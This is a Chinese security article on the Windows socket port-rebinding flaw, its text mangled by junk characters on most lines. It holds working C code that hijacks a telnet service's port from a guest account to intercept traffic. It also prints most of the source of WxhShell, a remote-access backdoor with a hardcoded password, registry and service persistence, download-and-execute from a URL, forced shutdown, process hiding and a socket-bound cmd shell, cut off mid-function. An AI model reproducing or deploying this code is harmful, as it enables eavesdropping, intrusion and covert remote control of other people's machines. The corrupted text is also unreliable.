在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A2ye
^<-C. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/P,1KVQPh I*a@_EO saddr.sin_family = AF_INET;
#(614-r/ ?fy37m(M} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/Kli C\ OoA!N-Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t!rrYBSCr -rcEG! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
E6~VHQa2? }~@/r5Zl 这意味着什么?意味着可以进行如下的攻击:
Lf%3-P n^[a}DX0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V"4L=[le ^x O](,H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Y[7prjd H[KX xNYZ_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tP|/Q5s Jp"29
)w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Z]b;%:>= .c]>*/(+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)Q`Ycz- /a32QuS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
MS""-zn< %^lD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
GZaB z#U K]$PRg1|3 #include
^O7sQ7V"f= #include
kBk>1jn" #include
s*gqKQ; #include
HQ"T>xb DWORD WINAPI ClientThread(LPVOID lpParam);
'm*W< int main()
QTa\&v[f {
B;[ .u>f WORD wVersionRequested;
ldTXW(^j DWORD ret;
_0Ea 3K WSADATA wsaData;
O)&W0`VY BOOL val;
AAa7)^R SOCKADDR_IN saddr;
vcQl0+& SOCKADDR_IN scaddr;
y_L8i[ int err;
yrEh5v: SOCKET s;
}@6Ze$> SOCKET sc;
QD%xmP int caddsize;
4$VDJ HANDLE mt;
5OWyxO3{ DWORD tid;
++b[>}; wVersionRequested = MAKEWORD( 2, 2 );
k vZ w4Pk err = WSAStartup( wVersionRequested, &wsaData );
>U*p[ FGW if ( err != 0 ) {
5;KJ0N*- printf("error!WSAStartup failed!\n");
-51LF=(!L return -1;
5T.U=_ag }
$>#0RzU saddr.sin_family = AF_INET;
xRc+3Z= N !o`7$`%Wz\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(^iF)z [r"Oi|
8I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3\}u#/Vb saddr.sin_port = htons(23);
)lLeL#]FLO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7Q|<6210 {
:8OT printf("error!socket failed!\n");
8:c=h/fa
return -1;
vzs4tkG }
fWJpy#/^*K val = TRUE;
OcV,pJ //SO_REUSEADDR选项就是可以实现端口重绑定的
eef&ZL6g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
t!3s@ {
O#;sY`fy_M printf("error!setsockopt failed!\n");
`oNJ=,p return -1;
2LN6pu }
X7-*`NI^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
A"pQOtrm\k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\;MP|:{pU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[ S }.045 Wuu if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
AH n!>w, {
(y;
6H ret=GetLastError();
stK}K-=` printf("error!bind failed!\n");
'A5T$JV.r4 return -1;
d`rZgY }
MuMq%uDA" listen(s,2);
&G_#=t& while(1)
o#6QwbU25 {
|HT7m5tu4 caddsize = sizeof(scaddr);
QBXEM= //接受连接请求
m2^vH+wD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s?;8h &]= if(sc!=INVALID_SOCKET)
9soEHG=P {
*7H
*epUa mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
roc DO8f if(mt==NULL)
>m lQ@Z_O {
'dBe,@ printf("Thread Creat Failed!\n");
^cw9Yjh6 break;
v|~=rvXFC }
T1$p%yQH }
Nzgi)xX0HX CloseHandle(mt);
?xv."I% }
uz+WVmb closesocket(s);
2iM}YCV WSACleanup();
v\dQjQu8m return 0;
Tk[]l7R~ }
(bv{17K DWORD WINAPI ClientThread(LPVOID lpParam)
&c!6e<o[p {
vC>2%Zgf- SOCKET ss = (SOCKET)lpParam;
W7A!QS SOCKET sc;
Ox#vW6;) unsigned char buf[4096];
G7CkP SOCKADDR_IN saddr;
U&6A)SW,k long num;
(${:5W DWORD val;
,Tar?&C: DWORD ret;
k^|z.$+ //如果是隐藏端口应用的话,可以在此处加一些判断
]@Y!,bw& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
IrZ\;!NK saddr.sin_family = AF_INET;
&4evh<z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>3D1:0Sg saddr.sin_port = htons(23);
Vx.c`/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X<IW5* {
oS$7k3s
fj printf("error!socket failed!\n");
*#>(P return -1;
pLe4dz WA }
D~ 3@v+d val = 100;
MzUKp" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x[};x;[ZE {
Qq.$!$ ret = GetLastError();
#tA9`! return -1;
;UgwV/d }
B|a <=~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Dks n {
@yb'h`f] ret = GetLastError();
M2ex
3m return -1;
G{6@]72 }
)jl@hnA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
: 8>zo {
bC+ZR{M printf("error!socket connect failed!\n");
#!z-)[S.+ closesocket(sc);
E8Kk)7 closesocket(ss);
y "+'4:_ return -1;
cO{NiRIb }
FVl,
ttW while(1)
p@~Y[a = {
7.VP7;jys //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]tu
OWR //如果是嗅探内容的话,可以再此处进行内容分析和记录
M887 Q'HSi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
k-3;3Mq num = recv(ss,buf,4096,0);
aNKw.S> if(num>0)
5@1h^wv send(sc,buf,num,0);
*JX$5bZsI else if(num==0)
&Qda| break;
NLpKh1g num = recv(sc,buf,4096,0);
SaGI4O_\s if(num>0)
} 'xGip@W send(ss,buf,num,0);
$/
"+t.ir3 else if(num==0)
@bTm.3 break;
Pq<43:*? }
9~j"6wS closesocket(ss);
i_m&qy<v closesocket(sc);
TJRp/BP return 0 ;
M:OZWYQ }
<-N eusx% xib}E[-l# JdI*@b2k[ ==========================================================
yn ofDGAf =%I[o=6 下边附上一个代码,,WXhSHELL
U%r{{Q1 2X' H^t]7 ==========================================================
)MI w/ HLz<C #include "stdafx.h"
ha|2u(4 X~m57bj #include <stdio.h>
:CM-I_6 #include <string.h>
9$v\D3<Z #include <windows.h>
*-]k([wV #include <winsock2.h>
i| cA) #include <winsvc.h>
|%8t.Z #include <urlmon.h>
vh"';L_*37 gYbvCs8O! #pragma comment (lib, "Ws2_32.lib")
_5n2'\] H` #pragma comment (lib, "urlmon.lib")
FEhBhv|m rMWvW(@@D #define MAX_USER 100 // 最大客户端连接数
o/,%rA4 #define BUF_SOCK 200 // sock buffer
PT,*KYF_O" #define KEY_BUFF 255 // 输入 buffer
,e$RvFB <hy!B4 #define REBOOT 0 // 重启
8bMw.u=F #define SHUTDOWN 1 // 关机
m8L %!6o +1qvT_ #define DEF_PORT 5000 // 监听端口
'p[6K'Uq5 l]DRJ #define REG_LEN 16 // 注册表键长度
oIOeX1$V #define SVC_LEN 80 // NT服务名长度
B> i^ w1 J%ws-A?6rN // 从dll定义API
Hh](n<Bs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kKbbsB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H4v%$R;K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_d~GY,WTdO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;QuxTmWp^ u]B
b ^[ // wxhshell配置信息
L
~Vw`C struct WSCFG {
V^qBbk%l>D int ws_port; // 监听端口
:/?
Op char ws_passstr[REG_LEN]; // 口令
J.2BBy int ws_autoins; // 安装标记, 1=yes 0=no
Yy[=E\z char ws_regname[REG_LEN]; // 注册表键名
^+~$eg&js char ws_svcname[REG_LEN]; // 服务名
y'f-4E< char ws_svcdisp[SVC_LEN]; // 服务显示名
"AJ>pU3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
`$ bQ8$+Ci char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u(r
T2 int ws_downexe; // 下载执行标记, 1=yes 0=no
\K9Y@jnr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
coaJDg+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7m8:odeF 6"?#s/fk };
lKI]q<2 ,trh)ZZYW| // default Wxhshell configuration
\iEJ9V struct WSCFG wscfg={DEF_PORT,
ZKI` ; "xuhuanlingzhe",
Ca"i<[8 1,
!Y^$rF-+ "Wxhshell",
&e[Lb:Uk) "Wxhshell",
hhjsg?4uL "WxhShell Service",
*X|%H-Q:H` "Wrsky Windows CmdShell Service",
.q]K:}9!\ "Please Input Your Password: ",
FGwgSrXL7 1,
,V4pFQzL "
http://www.wrsky.com/wxhshell.exe",
t?uw^nV 3E "Wxhshell.exe"
&U.y): };
H-5f!>) Rx%kAt2X // 消息定义模块
&#q%#M: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~|KMxY(: char *msg_ws_prompt="\n\r? for help\n\r#>";
bg4VHT7?>) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
jAt65a char *msg_ws_ext="\n\rExit.";
`b@"GOr char *msg_ws_end="\n\rQuit.";
`~=Is.V[ char *msg_ws_boot="\n\rReboot...";
^kB9
I8u char *msg_ws_poff="\n\rShutdown...";
0Z%<H\Z char *msg_ws_down="\n\rSave to ";
S!}pL8OE 8r\xQr'8h char *msg_ws_err="\n\rErr!";
. 55aY~We char *msg_ws_ok="\n\rOK!";
Yic'p0<
?V -IV-"-6( char ExeFile[MAX_PATH];
AQ.q?'vE) int nUser = 0;
p-g@cwOu HANDLE handles[MAX_USER];
S;vZXgyN? int OsIsNt;
Xw^:<Nx: DUm/0q& SERVICE_STATUS serviceStatus;
QQ,w:OjA0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
)>=|oY3 )^^}!U#|e // 函数声明
~>$(5s2 int Install(void);
10/3 -)+ int Uninstall(void);
!q PUQ+ int DownloadFile(char *sURL, SOCKET wsh);
Y50$2%kM int Boot(int flag);
~0.@1zEXj void HideProc(void);
YX2j;Y? int GetOsVer(void);
pk=z<OTb int Wxhshell(SOCKET wsl);
M[T!AO-S$ void TalkWithClient(void *cs);
p:U{3uN 62 int CmdShell(SOCKET sock);
\}qv}hU int StartFromService(void);
] @1ncn7N int StartWxhshell(LPSTR lpCmdLine);
RzSN,bLR p7O4CP>9[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
U`'w{~"D% VOID WINAPI NTServiceHandler( DWORD fdwControl );
:(x 90;DW /%N~$ &wW // 数据结构和表定义
wA)R7%& SERVICE_TABLE_ENTRY DispatchTable[] =
XlNB9\"5 {
aR;Q^YJ+a {wscfg.ws_svcname, NTServiceMain},
?at~il$z' {NULL, NULL}
PsD]gN5" };
sAc)X!} 0P53dF // 自我安装
BQ&h&57K int Install(void)
gzdgnF2 {
8|Y^z_C char svExeFile[MAX_PATH];
~yf 5$~Z HKEY key;
MN)<Tr2f strcpy(svExeFile,ExeFile);
mKq9mA"(E `Op
";E88 // 如果是win9x系统,修改注册表设为自启动
7,LT4wYH if(!OsIsNt) {
}#u}{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@49^WY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^jhHaN]G^ RegCloseKey(key);
7y`~T+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2W~2Hk=0+% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TT&!WbA-Hk RegCloseKey(key);
o_$r*Z|HG return 0;
Ap> n4~ }
!!K=v7M }
,|c_l) }
\S2'3SDd/ else {
Wj*6}N/ wy&*6>. // 如果是NT以上系统,安装为系统服务
T@HozZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#QDV_ziE5 if (schSCManager!=0)
XJ NKM~ {
,wEM SC_HANDLE schService = CreateService
{k]VT4/ (
>zhbipA schSCManager,
02S(9^= wscfg.ws_svcname,
`") I[h wscfg.ws_svcdisp,
mg;AcAS.o, SERVICE_ALL_ACCESS,
)*JTxMQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;~q)^.K3 SERVICE_AUTO_START,
?x/L"h&Kp SERVICE_ERROR_NORMAL,
Ua3ERBX{ svExeFile,
BR%: `uiQ< NULL,
(c_hX( NULL,
XF$C)id2p NULL,
nW%c95E NULL,
+1623E NULL
Gsh2 );
dCyQC A[ if (schService!=0)
*:_hOOT+[ {
f3h9CV CloseServiceHandle(schService);
nb!m>0*/ CloseServiceHandle(schSCManager);
CUd'*Ewu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
V7v,)a" L strcat(svExeFile,wscfg.ws_svcname);
|3cR'|<Ual if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)T+htD) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J\0YL\jw1K RegCloseKey(key);
!%(B2J return 0;
Yb\36| }
:R&tO3_F }
TPzoU"
qh CloseServiceHandle(schSCManager);
/kq~*s }
}R'oAE}$ }
yI;Qb7|^ )G|UB8] return 1;
Mt:(w;Y }
`'QPe42 t8[:}[Jx // 自我卸载
[6tQv<}^ int Uninstall(void)
@'y"D {
$7*Ml)H!9 HKEY key;
vtT:c.~d &Gt9a-ne if(!OsIsNt) {
+Snjb0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:4Vt RegDeleteValue(key,wscfg.ws_regname);
g<-cHF RegCloseKey(key);
}A;Xd/,'r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
334*nQ RegDeleteValue(key,wscfg.ws_regname);
wDG4rN9x RegCloseKey(key);
KKzvoc?Bt return 0;
RinRQd }
btE+.V }
/ u{r5`4
}
M>#{~zr else {
"869n37 M@3H]t? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
zYNJF>^< if (schSCManager!=0)
U|QDV16f {
|g{AD` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
57}q'84 if (schService!=0)
Sq'z<}o {
P;/T`R=Vr" if(DeleteService(schService)!=0) {
'$VR_N\ CloseServiceHandle(schService);
^b#E%Rd CloseServiceHandle(schSCManager);
]=3O,\ return 0;
J @fE") }
4SrK]+| CloseServiceHandle(schService);
k|D!0^HE[ }
VGq]id{*$ CloseServiceHandle(schSCManager);
%Z?
o] }
2P}RZvUd }
#wyS?FP- UTt#ltun ? return 1;
Id0F2 [ }
;a`X|N9 ~83P09\T% // 从指定url下载文件
1DP)6{x int DownloadFile(char *sURL, SOCKET wsh)
yN.D(ZwF: {
GdU
W$. HRESULT hr;
%ab79RS]C char seps[]= "/";
jo*9QO char *token;
-G 'lyH char *file;
e{,/ char myURL[MAX_PATH];
mI%/k7:sf char myFILE[MAX_PATH];
NsHveOK1. QFYy$T+W strcpy(myURL,sURL);
/WfxI>v token=strtok(myURL,seps);
vo-{3]u#= while(token!=NULL)
| |=Duk {
Ln|${c file=token;
"q.uiz+1: token=strtok(NULL,seps);
M=A9ax }
A@OV!DJe] 1c!},O GetCurrentDirectory(MAX_PATH,myFILE);
0Pk-FSY|f strcat(myFILE, "\\");
Izu.I_$4 strcat(myFILE, file);
`^kST>< send(wsh,myFILE,strlen(myFILE),0);
?r<F\rBT7* send(wsh,"...",3,0);
%"zJsYQ! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Biwdb if(hr==S_OK)
$5r,Q{;$ return 0;
O@rb4( else
[4j;FN Fa return 1;
v3Yj2LSqx bB-v ar }
h'p0V@!N ;>9pJ72r // 系统电源模块
rE:>G]j6 int Boot(int flag)
}nl)*l {
rYQ@"o0/Y HANDLE hToken;
CdO-xL6F TOKEN_PRIVILEGES tkp;
$NHWg(/R@ pt#[.n#f if(OsIsNt) {
|5Pbc&mH8A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{@AcL:Eit LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
o=QF>\\ tkp.PrivilegeCount = 1;
*lAdS]I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<*(R+to^d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@`D6F;R if(flag==REBOOT) {
s_!Z+D$K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;G]'}$`/q return 0;
:\_MA^< }
F.D1;,x else {
c^IEj1@}'? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(q N(#~ return 0;
GcW}<g} }
bf/loMtD }
?y)X $D^ else {
9K<a}QJP if(flag==REBOOT) {
[Gy'0P(EQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
V?BVk8D}; return 0;
Pltju4.:C }
K3DJ"NJ<Ji else {
&NeYKh? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0pa^O$?p return 0;
jqWvLBU! }
^6>|! }
=osw3"ng :j<JZs>`R return 1;
ZiYzsn }
0\@|M @X= C/Bx_j(( // win9x进程隐藏模块
?
M_SNv void HideProc(void)
+Uq:sfj, {
1C=P #MU` FSs$ ]
d; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&Ld8Z9IeFp if ( hKernel != NULL )
M) XQi/ {
m?$G(E5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PSS/JFZ^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
, vyx`wDd FreeLibrary(hKernel);
%W;Gf9.w }
4ZpF1Zc4B 5O
;^Mk| return;
Tk&9Klo }
%nf=[f g8A{aHb1} // 获取操作系统版本
!13
/+ u int GetOsVer(void)
u#k,G` {
AiK4t- OSVERSIONINFO winfo;
BrMp_M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
| V,jd GetVersionEx(&winfo);
~j#6 goKn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[(EH return 1;
9= $,] M else
=3dbw8I return 0;
<|Eby!KXR }
|S`yXsg 'xoE
[0! // 客户端句柄模块
@k6}4O?{ int Wxhshell(SOCKET wsl)
?9@Af{b t2 {
I} fcFL8 SOCKET wsh;
DeQ'U!?+N struct sockaddr_in client;
%&+R":Bw DWORD myID;
.0W4Dp L$c%u while(nUser<MAX_USER)
f?^Oy!1] {
y"p-8RVk{ int nSize=sizeof(client);
B\>}X_\4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JO{-
P if(wsh==INVALID_SOCKET) return 1;
X]U"ru{1q b(-t)5^} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}.V0SM6 if(handles[nUser]==0)
@ZR4%A"X4 closesocket(wsh);
UH&1c8y} else
rRrW nUser++;
mW0&uSMD }
ieRBD6_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;}jbdS3 tSc>@Q_| return 0;
r9a!,^}F }
&t|V:_?/x exEld // 关闭 socket
(i0"hi void CloseIt(SOCKET wsh)
\ +-hn {
=)1YYJTe9 closesocket(wsh);
5@t uo`k nUser--;
A+1]Ql)$ ExitThread(0);
~K$"PKs3 }
7cP[o+ vJAAAS // 客户端请求句柄
G[<[#$( void TalkWithClient(void *cs)
Sb9=$0%\ {
f(s3TLM K-k.=6mS SOCKET wsh=(SOCKET)cs;
],}afa!A char pwd[SVC_LEN];
wt=>{JM char cmd[KEY_BUFF];
m-S33PG{ char chr[1];
;E? hz int i,j;
Vt)\[Tl~ 2{]S_. zV while (nUser < MAX_USER) {
b|8>eY ,#jhKnk2e if(wscfg.ws_passstr) {
+9
p`D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2|H91Y2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9eN2)a/ //ZeroMemory(pwd,KEY_BUFF);
MD
?F1l"}% i=0;
X)iWb(@k"7 while(i<SVC_LEN) {
B6'%J &Bz7fKCo // 设置超时
V_A,d8=lt fd_set FdRead;
VfA5r`^ struct timeval TimeOut;
Xt,,AGm} FD_ZERO(&FdRead);
KkL:p?@n FD_SET(wsh,&FdRead);
u"8 ;fS TimeOut.tv_sec=8;
~eV!!38
J TimeOut.tv_usec=0;
CNRU"I+jU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cYWy\+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
OQL09u
b~Pxgfu" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y^ZBA\D2,k pwd
=chr[0]; ['4\O43yv
if(chr[0]==0xd || chr[0]==0xa) { JGO$4DK-1
pwd=0; ogc('HqF^'
break; ks%7W
-
} a[74%L?
i++; H, XLb.
} q'Pz3/mk
Ux)p%-
// 如果是非法用户,关闭 socket q4.dLU,1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'f?&EsIV?
} eFj6p<
_z(5e
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ad`[Rt']kI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B`?N0t%X
rv%ye
H
while(1) { x#j\"$dla
Msa6yD#
ZeroMemory(cmd,KEY_BUFF); Il^\3T+
BvZ^^IUb
// 自动支持客户端 telnet标准 <`p75B
j=0; APtselC
while(j<KEY_BUFF) { 7tfivIj)e
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ueE?"Hk
cmd[j]=chr[0]; 4/`h@]8P
if(chr[0]==0xa || chr[0]==0xd) { A M1C
$
cmd[j]=0; 4I#eC#"
break; mj(&`HRs4
} Mi/ &$"=
j++; ]Ic?:lKN
} V^`?8P8d
@( n^S?(
// 下载文件 16[-3cJ T
if(strstr(cmd,"http://")) { `Ge +(1x
send(wsh,msg_ws_down,strlen(msg_ws_down),0); jqX@&}3@
if(DownloadFile(cmd,wsh)) >Z2,^5P{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rgfc29(8
else pe!dm}!h[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x'M^4{4[
} I>kiah*
else { GIRSoRVsh
`z?KL(rI
switch(cmd[0]) { uFm+Y]h
g* \P6
// 帮助 Yt/SnF
case '?': { ,\S pjE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0 .FHdJ<
break; 1~R$$P11[9
} R*Xu(89
// 安装 sMz^!RX@
case 'i': { ?}=-eJ(7e
if(Install()) dDqr
B-G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *1Ut}
else CCW%G,$U9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b@2Cll#
break; C?[a3rNH(
} Y3P.|
// 卸载 ];pf
case 'r': { p- "Z'$A`
if(Uninstall()) Vedyy\TU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*AC>i\
else ol$2sI=.s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >&<<8Ln
break; %Le :wC
} UK"}}nO@e
// 显示 wxhshell 所在路径 ':!3jZP"m
case 'p': { yV J dZ I
char svExeFile[MAX_PATH]; G%7 4v|cd
strcpy(svExeFile,"\n\r"); S(>@:`=
strcat(svExeFile,ExeFile); })o~E
send(wsh,svExeFile,strlen(svExeFile),0); q:Y6fbt<7
break; CYPazOfj
} (2 T#/$
// 重启 +9CEC1-l
case 'b': { *%T)\\H2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I #M%%5e
if(Boot(REBOOT)) "K|)<6J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @,x_i8
else { 6%gB
E
closesocket(wsh); }A4nJ>`tq
ExitThread(0); i\=z'
} x7P([^i
break; )|w*/JK\Z
} =y<">-
// 关机 Q;$
9qOF
case 'd': { y:[BP4H ?y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s;fVnaqG:
if(Boot(SHUTDOWN))
eeW' [
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LbJtpwz>z
else { )\T@W
closesocket(wsh); $^W-Wmsz
ExitThread(0); F . K2
} 5l41Q
break; ~lzdbX
} lQV|U;~D
// 获取shell _ yfdj[Ot`
case 's': { X5uS>V%/
CmdShell(wsh); ] vC=.&]
closesocket(wsh); 1Yc%0L(
ExitThread(0); hD nM+4D
break; _\
.
} <u/a`E?
// 退出 lpl8h4d
case 'x': { v!NB~"LQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uP{;*E3?
CloseIt(wsh); X}oj_zsy;^
break; rQ9*J
} )!'n&UxPo$
// 离开 )\{'fF
case 'q': { IK*oFo{C=K
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m"lE&AM64p
closesocket(wsh); UF@IBb}0
WSACleanup(); #*!+b
exit(1); (Ij0AeJ#
break; F,*2#:Ki
} 28nmQ
} Gs[Vu@*
} cCM
j\H@
UdT&cG
// 提示信息 Eo%UuSi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %x&F4U
} dCB&c^
} U?bG`. X
c]A
Y
return; M'yO+bu
} blJIto'
MV%Xhfk
// shell模块句柄 )-=2w-ZX
int CmdShell(SOCKET sock) mJ)tHv"7
{ TE3*ktB{N
STARTUPINFO si; (# JMB)
ZeroMemory(&si,sizeof(si)); '@'B>7C#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7t'(`A6t/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y4QLs^IdB
PROCESS_INFORMATION ProcessInfo; >@^<S_KVh
char cmdline[]="cmd"; RnHQq'J|\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); as>:\hjP##
return 0; d
i!"IQAvK
} Tdg6kkJ
jvu
N
// 自身启动模式 xN6>2e
int StartFromService(void) wD`[5~C{
{ >G]?
typedef struct i-`,/e~XT
{ )))2fskZ
DWORD ExitStatus; #nKRTb+{
DWORD PebBaseAddress; AlO,o[0
